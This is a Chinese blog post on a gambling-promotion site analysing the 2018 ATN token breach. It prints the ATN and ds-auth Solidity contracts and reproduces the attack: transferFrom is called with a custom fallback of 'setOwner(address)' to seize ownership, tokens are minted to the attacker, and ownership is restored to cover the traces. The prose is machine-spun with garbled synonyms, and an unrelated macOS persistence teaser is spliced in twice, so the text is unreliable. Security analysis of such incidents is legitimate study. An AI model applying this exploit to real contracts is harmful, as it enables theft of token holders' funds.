区块链平安—深入分析ATN破绽 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

区块链平安—深入分析ATN破绽

申博_人物事迹 申博 273次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

一、ATN引见

ATN作为环球首个区块链+AI项目,是一个去中间化的、无需受权的、用户自界说人工智能即效劳(AIaaS)和运用接口的开放区块链平台。ATN公有链将引入DBot的Oracle预言机、跨链互操纵手艺,且经由过程石墨烯架构完成高并发TPS,着重处置惩罚人工智能效劳(AIaas)与EVM兼容的智能合约之间互操纵性的题目。ANT旨在供应下一代的区块链平台,供应AIaaS人工智能即效劳和智能合约,为各个DApp效劳,让其可以或许具有挪用人工智能能力,繁华DBot生态。

然而在2018年5月11日正午,ATN平安检测职员收到了非常的监控申报,并发明其ATN存在破绽并遭遇进击。黑客应用了 ERC223 合约可传入自界说的吸收挪用函数与 ds-auth 权限校验等特性,在 ERC223 合约挪用这个自界说函数时,合约挪用本身函数从而形成内部权限掌握失效。而本文,我们就针对此次事宜举行破绽剖析,并在文章中对破绽概况举行复现操纵,以轻易读者举行深入研究。

二、合约详解

ATN Token合约接纳的是在传统ERC20Token合约基础上的扩大版本ERC223,并在此基础上挪用了dapphub/ds-auth 库。而我们在前文中提到的合约代码均为ERC20,这里为什么运用ERC23呢?下面我们引见一下ERC23与ERC20的区分。

ERC223 是由 Dexaran 于 2017 年 3 月 5 日提出的一个 Token 规范草案 ,用于革新 ERC20,处置惩罚其没法处置惩罚发往合约本身 Token 的这一题目。ERC20 有两套代币转账机制,一套为直接挪用transfer()函数,另外一套为挪用 approve() + transferFrom() 先受权再转账。当转账工具为智能合约时,这类状况必需运用第二套要领,不然转往合约地点的 Token 将永久没法再次转出。

下面我们细致来看一下ATN合约代码的细致函数。

contract DSAuthority {
    function canCall(
        address src, address dst, bytes4 sig
    ) public view returns (bool);
}

contract DSAuthEvents {
    event LogSetAuthority (address indexed authority);
    event LogSetOwner     (address indexed owner);
}

起首,代码界说了两个合约,第一个合约作为接口,而第二个合约声清晰明了两个事宜,用于纪录Authority和设置owner。

下面是DSAuth合约。

contract DSAuth is DSAuthEvents {
    DSAuthority  public  authority;
    address      public  owner;

    function DSAuth() public {
        owner = msg.sender;
        LogSetOwner(msg.sender);
    }

    function setOwner(address owner_)
        public
        auth
    {
        owner = owner_;
        LogSetOwner(owner);
    }

    function setAuthority(DSAuthority authority_)
        public
        auth
    {
        authority = authority_;
        LogSetAuthority(authority);
    }

    modifier auth {
        require(isAuthorized(msg.sender, msg.sig));
        _;
    }

    function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
        if (src == address(this)) {
            return true;
        } else if (src == owner) {
            return true;
        } else if (authority == DSAuthority(0)) {
            return false;
        } else {
            return authority.canCall(src, this, sig);
        }
    }
}

此合约界说了一些基础的函数,而该合约大局部的功用是用于举行身份认证。比方setOwner用于更新owner的身份。而下面界说了一个auth润饰器,个中挪用了下文的isAuthorized函数。次函数是来推断该地点是不是为合约为owner或许是不是被受权。

下面合约界说了DSStop

contract DSStop is DSNote, DSAuth {

    bool public stopped;

    modifier stoppable {
        require(!stopped);
        _;
    }
    function stop() public auth note {
        stopped = true;
    }
    function start() public auth note {
        stopped = false;
    }

}

看合约名我们也能清晰,该合约用于界说合约如今是不是住手运转。以是合约内部界说了变量stopped并增添润饰器便于其他合约举行继续运用。

而为了防备涌现整数溢出等题目,合约界说了平安函数。

contract DSMath {
    function add(uint x, uint y) internal pure returns (uint z) {
        require((z = x + y) >= x);
    }
    function sub(uint x, uint y) internal pure returns (uint z) {
        require((z = x - y) <= x);
    }
    function mul(uint x, uint y) internal pure returns (uint z) {
        require(y == 0 || (z = x * y) / y == x);
    }

    function min(uint x, uint y) internal pure returns (uint z) {
        return x <= y ? x : y;
    }
    function max(uint x, uint y) internal pure returns (uint z) {
        return x >= y ? x : y;
    }
    function imin(int x, int y) internal pure returns (int z) {
        return x <= y ? x : y;
    }
    function imax(int x, int y) internal pure returns (int z) {
        return x >= y ? x : y;
    }

    uint constant WAD = 10 ** 18;
    uint constant RAY = 10 ** 27;

    function wmul(uint x, uint y) internal pure returns (uint z) {
        z = add(mul(x, y), WAD / 2) / WAD;
    }
    function rmul(uint x, uint y) internal pure returns (uint z) {
        z = add(mul(x, y), RAY / 2) / RAY;
    }
    function wdiv(uint x, uint y) internal pure returns (uint z) {
        z = add(mul(x, WAD), y / 2) / y;
    }
    function rdiv(uint x, uint y) internal pure returns (uint z) {
        z = add(mul(x, RAY), y / 2) / y;
    }
    function rpow(uint x, uint n) internal pure returns (uint z) {
        z = n % 2 != 0 ? x : RAY;

        for (n /= 2; n != 0; n /= 2) {
            x = rmul(x, x);

            if (n % 2 != 0) {
                z = rmul(z, x);
            }
        }
    }
}

通读此合约,我们可以或许相识到在除一般的加减乘除以外,合约还界说了平方求幂的运算函数——rpow。不外此函数在ATN中并没有举行运用。

以后界说了DSTokenBase基础合约。

contract DSTokenBase is ERC20, DSMath {
    uint256                                            _supply;
    mapping (address => uint256)                       _balances;
    mapping (address => mapping (address => uint256))  _approvals;

    function DSTokenBase(uint supply) public {
        _balances[msg.sender] = supply;
        _supply = supply;
    }

    function totalSupply() public view returns (uint) {
        return _supply;
    }
    function balanceOf(address src) public view returns (uint) {
        return _balances[src];
    }
    function allowance(address src, address guy) public view returns (uint) {
        return _approvals[src][guy];
    }

    function transfer(address dst, uint wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function transferFrom(address src, address dst, uint wad)
        public
        returns (bool)
    {
        if (src != msg.sender) {
            _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
        }

        _balances[src] = sub(_balances[src], wad);
        _balances[dst] = add(_balances[dst], wad);

        Transfer(src, dst, wad);

        return true;
    }

    function approve(address guy, uint wad) public returns (bool) {
        _approvals[msg.sender][guy] = wad;

        Approval(msg.sender, guy, wad);

        return true;
    }
}

该合约与ERC20等基础合约的局部雷同,以是函数界说局部对照简单,这里就不举行细致申明。

contract DSToken is DSTokenBase(0), DSStop {

    mapping (address => mapping (address => bool)) _trusted;

    bytes32  public  symbol;
    uint256  public  decimals = 18; // standard token precision. override to customize

    function DSToken(bytes32 symbol_) public {
        symbol = symbol_;
    }

    event Trust(address indexed src, address indexed guy, bool wat);
    event Mint(address indexed guy, uint wad);
    event Burn(address indexed guy, uint wad);

    function trusted(address src, address guy) public view returns (bool) {
        return _trusted[src][guy];
    }
    function trust(address guy, bool wat) public stoppable {
        _trusted[msg.sender][guy] = wat;
        Trust(msg.sender, guy, wat);
    }

    function approve(address guy, uint wad) public stoppable returns (bool) {
        return super.approve(guy, wad);
    }
    function transferFrom(address src, address dst, uint wad)
        public
        stoppable
        returns (bool)
    {
        if (src != msg.sender && !_trusted[src][msg.sender]) {
            _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
        }

        _balances[src] = sub(_balances[src], wad);
        _balances[dst] = add(_balances[dst], wad);

        Transfer(src, dst, wad);

        return true;
    }

    function push(address dst, uint wad) public {
        transferFrom(msg.sender, dst, wad);
    }
    function pull(address src, uint wad) public {
        transferFrom(src, msg.sender, wad);
    }
    function move(address src, address dst, uint wad) public {
        transferFrom(src, dst, wad);
    }

    function mint(uint wad) public {
        mint(msg.sender, wad);
    }
    function burn(uint wad) public {
        burn(msg.sender, wad);
    }
    function mint(address guy, uint wad) public auth stoppable {
        _balances[guy] = add(_balances[guy], wad);
        _supply = add(_supply, wad);
        Mint(guy, wad);
    }
    function burn(address guy, uint wad) public auth stoppable {
        if (guy != msg.sender && !_trusted[guy][msg.sender]) {
            _approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
        }

        _balances[guy] = sub(_balances[guy], wad);
        _supply = sub(_supply, wad);
        Burn(guy, wad);
    }

    // Optional token name
    bytes32   public  name = "";

    function setName(bytes32 name_) public auth {
        name = name_;
    }
}

DSToken继续了上文的合约和用于住手合约运转的DSStop合约。

对照值得注意的地方为_trusted。此函数类似于纪录受权值,只要被受权后的用户能力替代举行转账操纵。而且此受权值有流动的金额。

mint函数也是此合约的重点。该函数用于增添某地点的金额数目,而想要实行此函数,必需经由受权或许具有权限。

以后合约界说了Controlled

contract Controlled {
    /// @notice The address of the controller is the only address that can call
    ///  a function with this modifier
    modifier onlyController { if (msg.sender != controller) throw; _; }

    address public controller;

    function Controlled() { controller = msg.sender;}

    /// @notice Changes the controller of the contract
    /// @param _newController The new controller of the contract
    function changeController(address _newController) onlyController {
        controller = _newController;
    }
}

此合约用于举行权限的推断并举行对controller的修正。

而下面就是我们ATN合约的细致函数内容了。

ATN合约界说了多个范例的转账函数,其名字均雷同,然则传入参数分歧(便于参与者定制)。

function transferFrom(address _from, address _to, uint256 _amount
    ) public returns (bool success) {
        // Alerts the token controller of the transfer
        if (isContract(controller)) {
            if (!TokenController(controller).onTransfer(_from, _to, _amount))
               throw;
        }

        success = super.transferFrom(_from, _to, _amount);

        if (success && isContract(_to))
        {
            // ERC20 backward compatiability
            if(!_to.call(bytes4(keccak256("tokenFallback(address,uint256)")), _from, _amount)) {
                // do nothing when error in call in case that the _to contract is not inherited from ERC223ReceivingContract
                // revert();
                // bytes memory empty;

                ReceivingContractTokenFallbackFailed(_from, _to, _amount);

                // Even the fallback failed if there is such one, the transfer will not be revert since "revert()" is not called.
            }
        }
    }

我们遴选个中一个举行细致解说。

function transferFrom(address _from, address _to, uint256 _amount, bytes _data, string _custom_fallback)
        public
        returns (bool success)
    {
        // Alerts the token controller of the transfer
        if (isContract(controller)) {
            if (!TokenController(controller).onTransfer(_from, _to, _amount))
               throw;
        }

        require(super.transferFrom(_from, _to, _amount));

        if (isContract(_to)) {
            ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
            receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data);
        }

        ERC223Transfer(_from, _to, _amount, _data);

        return true;
    }

在该合约中,我们晓得函数起首推断controller是不是为一个合约而不是一个钱包地点。如作甚合约的话,那末将挪用TokenController中的onTransfer函数。

然而这并非重点,以后将运用require(super.transferFrom(_from, _to, _amount));函数举行转账操纵,此处运用了继续的要领举行转账,并运用require举行对转账胜利与否举行推断。只要胜利能力继续举行。然后,我们将对_to地点举行推断,若此地点为合约,那末我们将挪用receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data);。而领我们疑问的是为什么次函数会挪用receiver的内部函数呢?我们在这里理解为:ERC20Token与ERC20Token之间的直接交换。本质上是发送ATN时,经由过程回调函数实行分外指令,好比发还其他Token。也就是说我们在举行了转账操纵后可以或许传入指令自动实行地点下的函数,轻易我们举行一连操纵。(起点很好,然则因为此而存在了破绽)

然后是剖断是不是为合约的函数。

function isContract(address _addr) constant internal returns(bool) {
        uint size;
        if (_addr == 0) return false;
        assembly {
            size := extcodesize(_addr)
        }
        return size>0;
    }

而为了包管平安性,合约还界说了转账函数以下降风险

/// @notice This method can be used by the controller to extract mistakenly
    ///  sent tokens to this contract.
    /// @param _token The address of the token contract that you want to recover
    ///  set to 0 in case you want to extract ether.
    function claimTokens(address _token) onlyController {
        if (_token == 0x0) {
            controller.transfer(this.balance);
            return;
        }

        ERC20 token = ERC20(_token);
        uint balance = token.balanceOf(this);
        token.transfer(controller, balance);
        ClaimedTokens(_token, controller, balance);
    }

这里界说了claimTokens合约用于将余额悉数提取以防备涌现大的平安隐患。

应用macOS 的 Folder Actions 功用完成耐久化掌握

与Windows平台相比,为macOS平台渗透测试介绍新型战术、技术和程序(TTP)的文章数要少得多。因此,本文将为读者详细介绍一种新型的方法:利用Apfell框架中的JavaScript for Automation(JXA)代理实现对macOS的持久控制。 我们知道,mac

三、破绽复现

依据我们上文诠释,我们可以或许发明在ATN合约中的转账函数屡次涌现了长途挪用的内容。这实际上是很风险的行动。一般当我们挪用 ERC20 的 approve()函数给一个智能合约地点后,对方并不能收到相干关照举行下一步操纵,罕见做法是应用 吸收关照挪用(receiverCall)来处置惩罚没法监听的题目。上面代码是一种完成体式格局,很不幸这段代码有严峻的 CUSTOM_CALL 滥用破绽。挪用approveAndCall()函数后,会接着实行_spender上用户自界说的其他要领来举行吸收者的后续操纵。

以是我们完全可以或许在transferFrom函数中传入特定的参数从而实行特定的函数。

function transferFrom(address _from, address _to, uint256 _amount,
bytes _data, string _custom_fallback) public returns (bool success)
{

ERC223ReceivingContract receiver =
ERC223ReceivingContract(_to);
receiving.call.value(0)(byte4(keccak256(_custom_fallback)),
_from, amout, data);

}

好比我们可以或许传入:

transferFrom( hacker_address, atn_contract_address, 0, 0,
"setOwner(address)")

_from: 0xxxxxxxx-- 黑客地点
_to: 0xxxxxxx -- ATN合约地点
_amount: 0
_data: 0x0
_custom_fallback: setOwner(address)

如许函数就会在实行转账操纵后实行setOwner函数。此时 setOwner会先考证 auth 合法性的,而 msg.sender 就是ATN的合约地点。此时黑客将 ATN Token合约的 owner 变更为本身掌握的地点。

起首我们须要布置合约。

区块链平安—深入分析ATN破绽

以后挪用mint函数举行挖矿向合约中注入肯定资产。

区块链平安—深入分析ATN破绽

举行检察。

区块链平安—深入分析ATN破绽

此时我们建立进击者账户。并检察其他额,检察以后owner。

区块链平安—深入分析ATN破绽

区块链平安—深入分析ATN破绽

以后我们切换到进击者账户下,并传入参数:

区块链平安—深入分析ATN破绽

"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0xca35b7d915458ef540ade6068dfe2f44e8fa733c",0,0x00,"setOwner(address)"

传入后,我们再次检察owner的信息。

却发明失利了。仔细阅读后发明我们须要将令_to为一个合约地点。

"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0xbbf289d846208c16edc8474705c748aff07732db",0,0x00,"setOwner(address)"

替换地点后,我们实行。获得以下效果。

区块链平安—深入分析ATN破绽

此时我们可以或许看到 owner已替换。

既然我们已成为合约具有者,那末我们就给本身点福利。

区块链平安—深入分析ATN破绽

区块链平安—深入分析ATN破绽

我们胜利给本身的账户中增添了肯定的token。

以后我们为了偃旗息鼓。将合约主人换回夙昔。

区块链平安—深入分析ATN破绽

至此,我们的进击目标已到达。

应用macOS 的 Folder Actions 功用完成耐久化掌握

与Windows平台相比,为macOS平台渗透测试介绍新型战术、技术和程序(TTP)的文章数要少得多。因此,本文将为读者详细介绍一种新型的方法:利用Apfell框架中的JavaScript for Automation(JXA)代理实现对macOS的持久控制。 我们知道,mac


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明区块链平安—深入分析ATN破绽
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址